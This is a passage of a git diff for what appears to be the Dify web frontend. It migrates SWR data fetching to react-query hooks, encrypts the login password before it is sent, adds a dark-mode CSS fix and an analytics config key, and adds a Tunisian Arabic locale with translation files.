@@ -53,7 +54,7 @@ export default function MailAndPasswordAuth({ isInvite, isEmailSetup, allowRegis
       setIsLoading(true)
       const loginData: Record<string, any> = {
         email,
-        password,
+        password: encryptPassword(password),
         language: locale,
         remember_me: true,
       }
diff --git a/web/app/signin/components/social-auth.tsx b/web/app/signin/components/social-auth.tsx
index dc43224549..1afac0809b 100644
--- a/web/app/signin/components/social-auth.tsx
+++ b/web/app/signin/components/social-auth.tsx
@@ -3,7 +3,7 @@ import { useSearchParams } from 'next/navigation'
 import style from '../page.module.css'
 import Button from '@/app/components/base/button'
 import { API_PREFIX } from '@/config'
-import classNames from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { getPurifyHref } from '@/utils'
 
 type SocialAuthProps = {
@@ -30,10 +30,8 @@ export default function SocialAuth(props: SocialAuthProps) {
         >
           <>
             <span className={
-              classNames(
-                style.githubIcon,
-                'mr-2 h-5 w-5',
-              )
+              cn(style.githubIcon,
+                'mr-2 h-5 w-5')
             } />
             <span className="truncate leading-normal">{t('login.withGitHub')}</span>
           </>
@@ -48,10 +46,8 @@ export default function SocialAuth(props: SocialAuthProps) {
         >
           <>
             <span className={
-              classNames(
-                style.googleIcon,
-                'mr-2 h-5 w-5',
-              )
+              cn(style.googleIcon,
+                'mr-2 h-5 w-5')
             } />
             <span className="truncate leading-normal">{t('login.withGoogle')}</span>
           </>
diff --git a/web/app/signin/invite-settings/page.tsx b/web/app/signin/invite-settings/page.tsx
index cbd37f51f6..de8d6c60ea 100644
--- a/web/app/signin/invite-settings/page.tsx
+++ b/web/app/signin/invite-settings/page.tsx
@@ -5,7 +5,6 @@ import { useCallback, useState } from 'react'
 import Link from 'next/link'
 import { useContext } from 'use-context-selector'
 import { useRouter, useSearchParams } from 'next/navigation'
-import useSWR from 'swr'
 import { RiAccountCircleLine } from '@remixicon/react'
 import Input from '@/app/components/base/input'
 import { SimpleSelect } from '@/app/components/base/select'
@@ -13,12 +12,13 @@ import Button from '@/app/components/base/button'
 import { timezones } from '@/utils/timezone'
 import { LanguagesSupported, languages } from '@/i18n-config/language'
 import I18n from '@/context/i18n'
-import { activateMember, invitationCheck } from '@/service/common'
+import { activateMember } from '@/service/common'
 import Loading from '@/app/components/base/loading'
 import Toast from '@/app/components/base/toast'
 import { noop } from 'lodash-es'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import { resolvePostLoginRedirect } from '../utils/post-login-redirect'
+import { useInvitationCheck } from '@/service/use-common'
 
 export default function InviteSettingsPage() {
   const { t } = useTranslation()
@@ -38,9 +38,7 @@ export default function InviteSettingsPage() {
       token,
     },
   }
-  const { data: checkRes, mutate: recheck } = useSWR(checkParams, invitationCheck, {
-    revalidateOnFocus: false,
-  })
+  const { data: checkRes, refetch: recheck } = useInvitationCheck(checkParams.params, !!token)
 
   const handleActivate = useCallback(async () => {
     try {
diff --git a/web/app/signin/layout.tsx b/web/app/signin/layout.tsx
index 7e7280f5b8..17922f7892 100644
--- a/web/app/signin/layout.tsx
+++ b/web/app/signin/layout.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Header from './_header'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import useDocumentTitle from '@/hooks/use-document-title'
 
diff --git a/web/app/signin/normal-form.tsx b/web/app/signin/normal-form.tsx
index 29e21b8ba2..260eb8c0cb 100644
--- a/web/app/signin/normal-form.tsx
+++ b/web/app/signin/normal-form.tsx
@@ -8,7 +8,7 @@ import MailAndCodeAuth from './components/mail-and-code-auth'
 import MailAndPasswordAuth from './components/mail-and-password-auth'
 import SocialAuth from './components/social-auth'
 import SSOAuth from './components/sso-auth'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { invitationCheck } from '@/service/common'
 import { LicenseStatus } from '@/types/feature'
 import Toast from '@/app/components/base/toast'
diff --git a/web/app/signin/one-more-step.tsx b/web/app/signin/one-more-step.tsx
index 3293caa8f5..4b20f85681 100644
--- a/web/app/signin/one-more-step.tsx
+++ b/web/app/signin/one-more-step.tsx
@@ -1,8 +1,7 @@
 'use client'
-import React, { type Reducer, useEffect, useReducer } from 'react'
+import React, { type Reducer, useReducer } from 'react'
 import { useTranslation } from 'react-i18next'
 import Link from 'next/link'
-import useSWR from 'swr'
 import { useRouter, useSearchParams } from 'next/navigation'
 import Input from '../components/base/input'
 import Button from '@/app/components/base/button'
@@ -10,12 +9,11 @@ import Tooltip from '@/app/components/base/tooltip'
 import { SimpleSelect } from '@/app/components/base/select'
 import { timezones } from '@/utils/timezone'
 import { LanguagesSupported, languages } from '@/i18n-config/language'
-import { oneMoreStep } from '@/service/common'
 import Toast from '@/app/components/base/toast'
 import { useDocLink } from '@/context/i18n'
+import { useOneMoreStep } from '@/service/use-common'
 
 type IState = {
-  formState: 'processing' | 'error' | 'success' | 'initial'
   invitation_code: string
   interface_language: string
   timezone: string
@@ -26,7 +24,6 @@ type IAction
   | { type: 'invitation_code', value: string }
   | { type: 'interface_language', value: string }
   | { type: 'timezone', value: string }
-  | { type: 'formState', value: 'processing' }
 
 const reducer: Reducer<IState, IAction> = (state: IState, action: IAction) => {
   switch (action.type) {
@@ -36,11 +33,8 @@ const reducer: Reducer<IState, IAction> = (state: IState, action: IAction) => {
       return { ...state, interface_language: action.value }
     case 'timezone':
       return { ...state, timezone: action.value }
-    case 'formState':
-      return { ...state, formState: action.value }
     case 'failed':
       return {
-        formState: 'initial',
         invitation_code: '',
         interface_language: 'en-US',
         timezone: 'Asia/Shanghai',
@@ -57,30 +51,29 @@ const OneMoreStep = () => {
   const searchParams = useSearchParams()
 
   const [state, dispatch] = useReducer(reducer, {
-    formState: 'initial',
     invitation_code: searchParams.get('invitation_code') || '',
     interface_language: 'en-US',
     timezone: 'Asia/Shanghai',
   })
-  const { data, error } = useSWR(state.formState === 'processing'
-    ? {
-      url: '/account/init',
-      body: {
+  const { mutateAsync: submitOneMoreStep, isPending } = useOneMoreStep()
+
+  const handleSubmit = async () => {
+    if (isPending)
+      return
+    try {
+      await submitOneMoreStep({
         invitation_code: state.invitation_code,
         interface_language: state.interface_language,
         timezone: state.timezone,
-      },
+      })
+      router.push('/apps')
     }
-    : null, oneMoreStep)
-
-  useEffect(() => {
-    if (error && error.status === 400) {
-      Toast.notify({ type: 'error', message: t('login.invalidInvitationCode') })
+    catch (error: any) {
+      if (error && error.status === 400)
+        Toast.notify({ type: 'error', message: t('login.invalidInvitationCode') })
       dispatch({ type: 'failed', payload: null })
     }
-    if (data)
-      router.push('/apps')
-  }, [data, error])
+  }
 
   return (
     <>
@@ -151,10 +144,8 @@ const OneMoreStep = () => {
             <Button
               variant='primary'
               className='w-full'
-              disabled={state.formState === 'processing'}
-              onClick={() => {
-                dispatch({ type: 'formState', value: 'processing' })
-              }}
+              disabled={isPending}
+              onClick={handleSubmit}
             >
               {t('login.go')}
             </Button>
diff --git a/web/app/signin/split.tsx b/web/app/signin/split.tsx
index 504e58d412..8fd6fefc15 100644
--- a/web/app/signin/split.tsx
+++ b/web/app/signin/split.tsx
@@ -1,7 +1,7 @@
 'use client'
 import type { FC } from 'react'
 import React from 'react'
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 
 type Props = {
   className?: string
diff --git a/web/app/signup/layout.tsx b/web/app/signup/layout.tsx
index c5d39ac07a..e6b9c36411 100644
--- a/web/app/signup/layout.tsx
+++ b/web/app/signup/layout.tsx
@@ -1,7 +1,7 @@
 'use client'
 import Header from '@/app/signin/_header'
 
-import cn from '@/utils/classnames'
+import { cn } from '@/utils/classnames'
 import { useGlobalPublicStore } from '@/context/global-public-context'
 import useDocumentTitle from '@/hooks/use-document-title'
 
diff --git a/web/app/signup/set-password/page.tsx b/web/app/signup/set-password/page.tsx
index 1e176b8d2f..f75dff24d9 100644
--- a/web/app/signup/set-password/page.tsx
+++ b/web/app/signup/set-password/page.tsx
@@ -2,7 +2,7 @@
 import { useCallback, useState } from 'react'
 import { useTranslation } from 'react-i18next'
 import { useRouter, useSearchParams } from 'next/navigation'
-import cn from 'classnames'
+import { cn } from '@/utils/classnames'
 import Button from '@/app/components/base/button'
 import Toast from '@/app/components/base/toast'
 import Input from '@/app/components/base/input'
diff --git a/web/app/styles/globals.css b/web/app/styles/globals.css
index c1078b6eb6..05b355db0a 100644
--- a/web/app/styles/globals.css
+++ b/web/app/styles/globals.css
@@ -5,6 +5,7 @@
 @import '../../themes/dark.css';
 @import "../../themes/manual-light.css";
 @import "../../themes/manual-dark.css";
+@import "./monaco-sticky-fix.css";
 
 @import "../components/base/button/index.css";
 @import "../components/base/action-button/index.css";
diff --git a/web/app/styles/monaco-sticky-fix.css b/web/app/styles/monaco-sticky-fix.css
new file mode 100644
index 0000000000..66bb5921ce
--- /dev/null
+++ b/web/app/styles/monaco-sticky-fix.css
@@ -0,0 +1,16 @@
+/* Ensures Monaco sticky header and other sticky headers remain visible in dark mode */
+html[data-theme="dark"] .monaco-editor .sticky-widget {
+  background-color: var(--color-components-sticky-header-bg) !important;
+  border-bottom: 1px solid var(--color-components-sticky-header-border) !important;
+  box-shadow: var(--vscode-editorStickyScroll-shadow) 0 4px 2px -2px !important;
+}
+
+html[data-theme="dark"] .monaco-editor .sticky-line-content:hover {
+  background-color: var(--color-components-sticky-header-bg-hover) !important;
+}
+
+/* Fallback: any app sticky header using input-bg variables should use the sticky header bg when sticky */
+html[data-theme="dark"] .sticky, html[data-theme="dark"] .is-sticky {
+  background-color: var(--color-components-sticky-header-bg) !important;
+  border-bottom: 1px solid var(--color-components-sticky-header-border) !important;
+}
\ No newline at end of file
diff --git a/web/config/index.ts b/web/config/index.ts
index a5b37fd9c9..508a94f3f0 100644
--- a/web/config/index.ts
+++ b/web/config/index.ts
@@ -77,6 +77,12 @@ const EDITION = getStringConfig(
 export const IS_CE_EDITION = EDITION === 'SELF_HOSTED'
 export const IS_CLOUD_EDITION = EDITION === 'CLOUD'
 
+export const AMPLITUDE_API_KEY = getStringConfig(
+  process.env.NEXT_PUBLIC_AMPLITUDE_API_KEY,
+  DatasetAttr.DATA_PUBLIC_AMPLITUDE_API_KEY,
+  '',
+)
+
 export const IS_DEV = process.env.NODE_ENV === 'development'
 export const IS_PROD = process.env.NODE_ENV === 'production'
 
diff --git a/web/context/app-context.tsx b/web/context/app-context.tsx
index 426ef2217e..48d67c3611 100644
--- a/web/context/app-context.tsx
+++ b/web/context/app-context.tsx
@@ -1,10 +1,14 @@
 'use client'
 
-import { useCallback, useEffect, useMemo, useState } from 'react'
-import useSWR from 'swr'
+import { useCallback, useEffect, useMemo } from 'react'
 import { createContext, useContext, useContextSelector } from 'use-context-selector'
 import type { FC, ReactNode } from 'react'
-import { fetchCurrentWorkspace, fetchLangGeniusVersion, fetchUserProfile } from '@/service/common'
+import { useQueryClient } from '@tanstack/react-query'
+import {
+  useCurrentWorkspace,
+  useLangGeniusVersion,
+  useUserProfile,
+} from '@/service/use-common'
 import type { ICurrentWorkspace, LangGeniusVersionResponse, UserProfileResponse } from '@/models/common'
 import MaintenanceNotice from '@/app/components/header/maintenance-notice'
 import { noop } from 'lodash-es'
@@ -79,48 +83,44 @@ export type AppContextProviderProps = {
 }
 
 export const AppContextProvider: FC<AppContextProviderProps> = ({ children }) => {
+  const queryClient = useQueryClient()
   const systemFeatures = useGlobalPublicStore(s => s.systemFeatures)
-  const { data: userProfileResponse, mutate: mutateUserProfile, error: userProfileError } = useSWR({ url: '/account/profile', params: {} }, fetchUserProfile)
-  const { data: currentWorkspaceResponse, mutate: mutateCurrentWorkspace, isLoading: isLoadingCurrentWorkspace } = useSWR({ url: '/workspaces/current', params: {} }, fetchCurrentWorkspace)
+  const { data: userProfileResp } = useUserProfile()
+  const { data: currentWorkspaceResp, isPending: isLoadingCurrentWorkspace } = useCurrentWorkspace()
+  const langGeniusVersionQuery = useLangGeniusVersion(
+    userProfileResp?.meta.currentVersion,
+    !systemFeatures.branding.enabled,
+  )
+
+  const userProfile = useMemo<UserProfileResponse>(() => userProfileResp?.profile || userProfilePlaceholder, [userProfileResp?.profile])
+  const currentWorkspace = useMemo<ICurrentWorkspace>(() => currentWorkspaceResp || initialWorkspaceInfo, [currentWorkspaceResp])
+  const langGeniusVersionInfo = useMemo<LangGeniusVersionResponse>(() => {
+    if (!userProfileResp?.meta?.currentVersion || !langGeniusVersionQuery.data)
+      return initialLangGeniusVersionInfo
+
+    const current_version = userProfileResp.meta.currentVersion
+    const current_env = userProfileResp.meta.currentEnv || ''
+    const versionData = langGeniusVersionQuery.data
+    return {
+      ...versionData,
+      current_version,
+      latest_version: versionData.version,
+      current_env,
+    }
+  }, [langGeniusVersionQuery.data, userProfileResp?.meta])
 
-  const [userProfile, setUserProfile] = useState<UserProfileResponse>(userProfilePlaceholder)
-  const [langGeniusVersionInfo, setLangGeniusVersionInfo] = useState<LangGeniusVersionResponse>(initialLangGeniusVersionInfo)
-  const [currentWorkspace, setCurrentWorkspace] = useState<ICurrentWorkspace>(initialWorkspaceInfo)
   const isCurrentWorkspaceManager = useMemo(() => ['owner', 'admin'].includes(currentWorkspace.role), [currentWorkspace.role])
   const isCurrentWorkspaceOwner = useMemo(() => currentWorkspace.role === 'owner', [currentWorkspace.role])
   const isCurrentWorkspaceEditor = useMemo(() => ['owner', 'admin', 'editor'].includes(currentWorkspace.role), [currentWorkspace.role])
   const isCurrentWorkspaceDatasetOperator = useMemo(() => currentWorkspace.role === 'dataset_operator', [currentWorkspace.role])
-  const updateUserProfileAndVersion = useCallback(async () => {
-    if (userProfileResponse && !userProfileResponse.bodyUsed) {
-      try {
-        const result = await userProfileResponse.json()
-        setUserProfile(result)
-        if (!systemFeatures.branding.enabled) {
-          const current_version = userProfileResponse.headers.get('x-version')
-          const current_env = process.env.NODE_ENV === 'development' ? 'DEVELOPMENT' : userProfileResponse.headers.get('x-env')
-          const versionData = await fetchLangGeniusVersion({ url: '/version', params: { current_version } })
-          setLangGeniusVersionInfo({ ...versionData, current_version, latest_version: versionData.version, current_env })
-        }
-      }
-      catch (error) {
-        console.error('Failed to update user profile:', error)
-        if (userProfile.id === '')
-          setUserProfile(userProfilePlaceholder)
-      }
-    }
-    else if (userProfileError && userProfile.id === '') {
-      setUserProfile(userProfilePlaceholder)
-    }
-  }, [userProfileResponse, userProfileError, userProfile.id])
 
-  useEffect(() => {
-    updateUserProfileAndVersion()
-  }, [updateUserProfileAndVersion, userProfileResponse])
+  const mutateUserProfile = useCallback(() => {
+    queryClient.invalidateQueries({ queryKey: ['common', 'user-profile'] })
+  }, [queryClient])
 
-  useEffect(() => {
-    if (currentWorkspaceResponse)
-      setCurrentWorkspace(currentWorkspaceResponse)
-  }, [currentWorkspaceResponse])
+  const mutateCurrentWorkspace = useCallback(() => {
+    queryClient.invalidateQueries({ queryKey: ['common', 'current-workspace'] })
+  }, [queryClient])
 
   // #region Zendesk conversation fields
   useEffect(() => {
diff --git a/web/context/provider-context.tsx b/web/context/provider-context.tsx
index 70944d85f1..e1739853c6 100644
--- a/web/context/provider-context.tsx
+++ b/web/context/provider-context.tsx
@@ -1,15 +1,15 @@
 'use client'
 
 import { createContext, useContext, useContextSelector } from 'use-context-selector'
-import useSWR from 'swr'
 import { useEffect, useState } from 'react'
 import dayjs from 'dayjs'
 import { useTranslation } from 'react-i18next'
+import { useQueryClient } from '@tanstack/react-query'
 import {
-  fetchModelList,
-  fetchModelProviders,
-  fetchSupportRetrievalMethods,
-} from '@/service/common'
+  useModelListByType,
+  useModelProviders,
+  useSupportRetrievalMethods,
+} from '@/service/use-common'
 import {
   CurrentSystemQuotaTypeEnum,
   ModelStatusEnum,
@@ -114,10 +114,10 @@ type ProviderContextProviderProps = {
 export const ProviderContextProvider = ({
   children,
 }: ProviderContextProviderProps) => {
-  const { data: providersData, mutate: refreshModelProviders } = useSWR('/workspaces/current/model-providers', fetchModelProviders)
-  const fetchModelListUrlPrefix = '/workspaces/current/models/model-types/'
-  const { data: textGenerationModelList } = useSWR(`${fetchModelListUrlPrefix}${ModelTypeEnum.textGeneration}`, fetchModelList)
-  const { data: supportRetrievalMethods } = useSWR('/datasets/retrieval-setting', fetchSupportRetrievalMethods)
+  const queryClient = useQueryClient()
+  const { data: providersData } = useModelProviders()
+  const { data: textGenerationModelList } = useModelListByType(ModelTypeEnum.textGeneration)
+  const { data: supportRetrievalMethods } = useSupportRetrievalMethods()
 
   const [plan, setPlan] = useState(defaultPlan)
   const [isFetchedPlan, setIsFetchedPlan] = useState(false)
@@ -139,6 +139,10 @@ export const ProviderContextProvider = ({
   const [isAllowTransferWorkspace, setIsAllowTransferWorkspace] = useState(false)
   const [isAllowPublishAsCustomKnowledgePipelineTemplate, setIsAllowPublishAsCustomKnowledgePipelineTemplate] = useState(false)
 
+  const refreshModelProviders = () => {
+    queryClient.invalidateQueries({ queryKey: ['common', 'model-providers'] })
+  }
+
   const fetchPlan = async () => {
     try {
       const data = await fetchCurrentPlanInfo()
@@ -226,7 +230,7 @@ export const ProviderContextProvider = ({
       modelProviders: providersData?.data || [],
       refreshModelProviders,
       textGenerationModelList: textGenerationModelList?.data || [],
-      isAPIKeySet: !!textGenerationModelList?.data.some(model => model.status === ModelStatusEnum.active),
+      isAPIKeySet: !!textGenerationModelList?.data?.some(model => model.status === ModelStatusEnum.active),
       supportRetrievalMethods: supportRetrievalMethods?.retrieval_method || [],
       plan,
       isFetchedPlan,
diff --git a/web/context/workspace-context.tsx b/web/context/workspace-context.tsx
index 9350a959b4..da7dcf5a50 100644
--- a/web/context/workspace-context.tsx
+++ b/web/context/workspace-context.tsx
@@ -1,8 +1,7 @@
 'use client'
 
 import { createContext, useContext } from 'use-context-selector'
-import useSWR from 'swr'
-import { fetchWorkspaces } from '@/service/common'
+import { useWorkspaces } from '@/service/use-common'
 import type { IWorkspace } from '@/models/common'
 
 export type WorkspacesContextValue = {
@@ -20,7 +19,7 @@ type IWorkspaceProviderProps = {
 export const WorkspaceProvider = ({
   children,
 }: IWorkspaceProviderProps) => {
-  const { data } = useSWR({ url: '/workspaces' }, fetchWorkspaces)
+  const { data } = useWorkspaces()
 
   return (
     <WorkspacesContext.Provider value={{
diff --git a/web/docker/entrypoint.sh b/web/docker/entrypoint.sh
index 565c906624..7e1aca680b 100755
--- a/web/docker/entrypoint.sh
+++ b/web/docker/entrypoint.sh
@@ -42,4 +42,5 @@ export NEXT_PUBLIC_LOOP_NODE_MAX_COUNT=${LOOP_NODE_MAX_COUNT}
 export NEXT_PUBLIC_MAX_PARALLEL_LIMIT=${MAX_PARALLEL_LIMIT}
 export NEXT_PUBLIC_MAX_ITERATIONS_NUM=${MAX_ITERATIONS_NUM}
 export NEXT_PUBLIC_MAX_TREE_DEPTH=${MAX_TREE_DEPTH}
+
 pm2 start /app/web/server.js --name dify-web --cwd /app/web -i ${PM2_INSTANCES} --no-daemon
diff --git a/web/eslint.config.mjs b/web/eslint.config.mjs
index fa8dd3441f..966fac26e6 100644
--- a/web/eslint.config.mjs
+++ b/web/eslint.config.mjs
@@ -185,6 +185,14 @@ export default combine(
       sonarjs: sonar,
     },
   },
+  // allow generated i18n files (like i18n/*/workflow.ts) to exceed max-lines
+  {
+    files: ['i18n/**'],
+    rules: {
+      'sonarjs/max-lines': 'off',
+      'max-lines': 'off',
+    },
+  },
   // need further research
   {
     rules: {
diff --git a/web/hooks/use-pay.tsx b/web/hooks/use-pay.tsx
index 3ba23b6763..3812949dec 100644
--- a/web/hooks/use-pay.tsx
+++ b/web/hooks/use-pay.tsx
@@ -3,12 +3,9 @@
 import { useCallback, useEffect, useState } from 'react'
 import { useRouter, useSearchParams } from 'next/navigation'
 import { useTranslation } from 'react-i18next'
-import useSWR from 'swr'
-import {
-  fetchDataSourceNotionBinding,
-} from '@/service/common'
 import type { IConfirm } from '@/app/components/base/confirm'
 import Confirm from '@/app/components/base/confirm'
+import { useNotionBinding } from '@/service/use-common'
 
 export type ConfirmType = Pick<IConfirm, 'type' | 'title' | 'content'>
 
@@ -58,12 +55,7 @@ export const useCheckNotion = () => {
   const type = searchParams.get('type')
   const notionCode = searchParams.get('code')
   const notionError = searchParams.get('error')
-  const { data } = useSWR(
-    (canBinding && notionCode)
-      ? `/oauth/data-source/binding/notion?code=${notionCode}`
-      : null,
-    fetchDataSourceNotionBinding,
-  )
+  const { data } = useNotionBinding(notionCode, canBinding)
 
   useEffect(() => {
     if (data)
diff --git a/web/i18n-config/README.md b/web/i18n-config/README.md
index 674ce6d5c7..fd4ef30833 100644
--- a/web/i18n-config/README.md
+++ b/web/i18n-config/README.md
@@ -70,6 +70,8 @@ export type I18nText = {
   'uk-UA': string
   'id-ID': string
   'tr-TR': string
+  'fa-IR': string
+  'ar-TN': string
   'YOUR_LANGUAGE_CODE': string
 }
 ```
@@ -157,6 +159,18 @@ export const languages = [
     example: 'Привет, Dify!',
     supported: true,
   },
+  {
+    value: 'fa-IR',
+    name: 'Farsi (Iran)',
+    example: 'سلام, دیفای!',
+    supported: true,
+  },
+  {
+    value: 'ar-TN',
+    name: 'العربية (تونس)',
+    example: 'مرحبا، Dify!',
+    supported: true,
+  },
   // Add your language here 👇
   ...
   // Add your language here 👆
diff --git a/web/i18n-config/language.ts b/web/i18n-config/language.ts
index fc0da8c289..20b3eb3ecc 100644
--- a/web/i18n-config/language.ts
+++ b/web/i18n-config/language.ts
@@ -27,6 +27,7 @@ export type I18nText = {
   'tr-TR': string
   'fa-IR': string
   'sl-SI': string
+  'ar-TN': string
 }
 
 export const languages = data.languages
@@ -81,6 +82,7 @@ export const NOTICE_I18N = {
     tr_TR: 'Önemli Duyuru',
     fa_IR: 'هشدار مهم',
     sl_SI: 'Pomembno obvestilo',
+    ar_TN: 'إشعار مهم',
   },
   desc: {
     en_US:
@@ -117,6 +119,8 @@ export const NOTICE_I18N = {
       'Naš sistem ne bo na voljo od 19:00 do 24:00 UTC 28. avgusta zaradi nadgradnje. Za vprašanja se obrnite na našo skupino za podporo (support@dify.ai). Cenimo vašo potrpežljivost.',
     th_TH:
       'ระบบของเราจะไม่สามารถใช้งานได้ตั้งแต่เวลา 19:00 ถึง 24:00 UTC ในวันที่ 28 สิงหาคม เพื่อทำการอัปเกรด หากมีคำถามใดๆ กรุณาติดต่อทีมสนับสนุนของเรา (support@dify.ai) เราขอขอบคุณในความอดทนของท่าน',
+    ar_TN:
+      'سيكون نظامنا غير متاح من الساعة 19:00 إلى 24:00 بالتوقيت العالمي المنسق في 28 أغسطس لإجراء ترقية. للأسئلة، يرجى الاتصال بفريق الدعم لدينا (support@dify.ai). نحن نقدر صبرك.',
   },
   href: '#',
 }
diff --git a/web/i18n-config/languages.json b/web/i18n-config/languages.json
index 46744ac19f..6e0025b8de 100644
--- a/web/i18n-config/languages.json
+++ b/web/i18n-config/languages.json
@@ -146,6 +146,13 @@
       "prompt_name": "Indonesian",
       "example": "Halo, Dify!",
       "supported": true
+    },
+    {
+      "value": "ar-TN",
+      "name": "العربية (تونس)",
+      "prompt_name": "Tunisian Arabic",
+      "example": "مرحبا، Dify!",
+      "supported": true
     }
   ]
 }
diff --git a/web/i18n/ar-TN/app-annotation.ts b/web/i18n/ar-TN/app-annotation.ts
new file mode 100644
index 0000000000..4f37099490
--- /dev/null
+++ b/web/i18n/ar-TN/app-annotation.ts
@@ -0,0 +1,98 @@
+const translation = {
+  title: 'التعليقات التوضيحية',
+  name: 'رد التعليق التوضيحي',
+  editBy: 'تم تعديل الإجابة بواسطة {{author}}',
+  noData: {
+    title: 'لا توجد تعليقات توضيحية',
+    description: 'يمكنك تعديل التعليقات التوضيحية أثناء تصحيح أخطاء التطبيق أو استيراد التعليقات التوضيحية بالجملة هنا للحصول على استجابة عالية الجودة.',
+  },
+  table: {
+    header: {
+      question: 'السؤال',
+      answer: 'الإجابة',
+      createdAt: 'تم الإنشاء في',
+      hits: 'المطابقات',
+      actions: 'الإجراءات',
+      addAnnotation: 'إضافة تعليق توضيحي',
+      bulkImport: 'استيراد بالجملة',
+      bulkExport: 'تصدير بالجملة',
+      clearAll: 'حذف الكل',
+      clearAllConfirm: 'حذف جميع التعليقات التوضيحية؟',
+    },
+  },
+  editModal: {
+    title: 'تعديل رد التعليق التوضيحي',
+    queryName: 'استعلام المستخدم',
+    answerName: 'الراوي',
+    yourAnswer: 'إجابتك',
+    answerPlaceholder: 'اكتب إجابتك هنا',
+    yourQuery: 'استعلامك',
+    queryPlaceholder: 'اكتب استعلامك هنا',
+    removeThisCache: 'حذف هذا التعليق التوضيحي',
+    createdAt: 'تم الإنشاء في',
+  },
+  addModal: {
+    title: 'إضافة رد تعليق توضيحي',
+    queryName: 'السؤال',
+    answerName: 'الإجابة',
+    answerPlaceholder: 'اكتب الإجابة هنا',
+    queryPlaceholder: 'اكتب الاستعلام هنا',
+    createNext: 'إضافة رد توضيحي آخر',
+  },
+  batchModal: {
+    title: 'استيراد بالجملة',
+    csvUploadTitle: 'اسحب وأفلت ملف CSV هنا، أو ',
+    browse: 'تصفح',
+    tip: 'يجب أن يتوافق ملف CSV مع الهيكل التالي:',
+    question: 'السؤال',
+    answer: 'الإجابة',
+    contentTitle: 'محتوى المقطع',
+    content: 'المحتوى',
+    template: 'تحميل القالب من هنا',
+    cancel: 'إلغاء',
+    run: 'تشغيل الدفعة',
+    runError: 'فشل تشغيل الدفعة',
+    processing: 'جاري المعالجة',
+    completed: 'اكتمل الاستيراد',
+    error: 'خطأ في الاستيراد',
+    ok: 'موافق',
+  },
+  list: {
+    delete: {
+      title: 'هل أنت متأكد من الحذف؟',
+    },
+  },
+  batchAction: {
+    selected: 'المحدد',
+    delete: 'حذف',
+    cancel: 'إلغاء',
+  },
+  errorMessage: {
+    answerRequired: 'الإجابة مطلوبة',
+    queryRequired: 'السؤال مطلوب',
+  },
+  viewModal: {
+    annotatedResponse: 'رد التعليق التوضيحي',
+    hitHistory: 'سجل المطابقة',
+    hit: 'مطابقة',
+    hits: 'مطابقات',
+    noHitHistory: 'لا يوجد سجل مطابقة',
+  },
+  hitHistoryTable: {
+    query: 'الاستعلام',
+    match: 'المطابقة',
+    response: 'الاستجابة',
+    source: 'المصدر',
+    score: 'النتيجة',
+    time: 'الوقت',
+  },
+  initSetup: {
+    title: 'الإعداد الأولي لرد التعليق التوضيحي',
+    configTitle: 'إعداد رد التعليق التوضيحي',
+    confirmBtn: 'حفظ وتمكين',
+    configConfirmBtn: 'حفظ',
+  },
+  embeddingModelSwitchTip: 'سيؤدي تبديل نموذج التضمين للنص التوضيحي إلى إعادة التضمين، مما يؤدي إلى تكاليف إضافية.',
+}
+
+export default translation
diff --git a/web/i18n/ar-TN/app-api.ts b/web/i18n/ar-TN/app-api.ts
new file mode 100644
index 0000000000..9e1c0a4c8d
--- /dev/null
+++ b/web/i18n/ar-TN/app-api.ts
@@ -0,0 +1,85 @@
+const translation = {
+  apiServer: 'خادم API',
+  apiKey: 'مفتاح API',
+  status: 'الحالة',
+  disabled: 'معطل',
+  ok: 'في الخدمة',
+  copy: 'نسخ',
+  copied: 'تم النسخ',
+  regenerate: 'إعادة إنشاء',
+  play: 'تشغيل',
+  pause: 'إيقاف مؤقت',
+  playing: 'جاري التشغيل',
+  loading: 'جاري التحميل',
+  merMaid: {
+    rerender: 'إعادة الرسم',
+  },
+  never: 'أبدا',
+  apiKeyModal: {
+    apiSecretKey: 'مفتاح API السري',
+    apiSecretKeyTips: 'لمنع إساءة استخدام API، قم بحماية مفتاح API الخاص بك. تجنب استخدامه كنص عادي في كود الواجهة الأمامية. :)',
+    createNewSecretKey: 'إنشاء مفتاح سري جديد',
+    secretKey: 'المفتاح السري',
+    created: 'تم الإنشاء',
+    lastUsed: 'آخر استخدام',
+    generateTips: 'احتفظ بهذا المفتاح في مكان آمن ويمكن الوصول إليه.',
+  },
+  actionMsg: {
+    deleteConfirmTitle: 'حذف هذا المفتاح السري؟',
+    deleteConfirmTips: 'لا يمكن التراجع عن هذا الإجراء.',
+    ok: 'موافق',
+  },
+  completionMode: {
+    title: 'API تطبيق الإكمال',
+    info: 'لتوليد نصوص عالية الجودة، مثل المقالات والملخصات والترجمات، استخدم API رسائل الإكمال مع إدخال المستخدم. يعتمد توليد النص على معلمات النموذج وقوالب المطالبة المعينة في هندسة مطالبات Dify.',
+    createCompletionApi: 'إنشاء رسالة إكمال',
+    createCompletionApiTip: 'إنشاء رسالة إكمال لدعم وضع السؤال والجواب.',
+    inputsTips: '(اختياري) توفير حقول إدخال المستخدم كأزواج مفتاح وقيمة، بما يتوافق مع المتغيرات في هندسة المطالبات. المفتاح هو اسم المتغير، والقيمة هي قيمة المعلمة. إذا كان نوع الحقل هو تحديد، فيجب أن تكون القيمة المرسلة واحدة من الخيارات المحددة مسبقًا.',
+    queryTips: 'محتوى نص إدخال المستخدم.',
+    blocking: 'نوع الحظر، في انتظار اكتمال التنفيذ وإرجاع النتائج. (قد يتم قطع الطلبات إذا كانت العملية طويلة)',
+    streaming: 'عائدات التدفق. تنفيذ عائد التدفق بناءً على SSE (أحداث مرسلة من الخادم).',
+    messageFeedbackApi: 'ملاحظات الرسالة (إعجاب)',
+    messageFeedbackApiTip: 'قيم الرسائل المستلمة نيابة عن المستخدمين النهائيين بإعجاب أو عدم إعجاب. هذه البيانات مرئية في صفحة السجلات والتعليقات التوضيحية وتستخدم لضبط النموذج في المستقبل.',
+    messageIDTip: 'معرف الرسالة',
+    ratingTip: 'إعجاب أو عدم إعجاب، null للإلغاء',
+    parametersApi: 'الحصول على معلومات حول معلمات التطبيق',
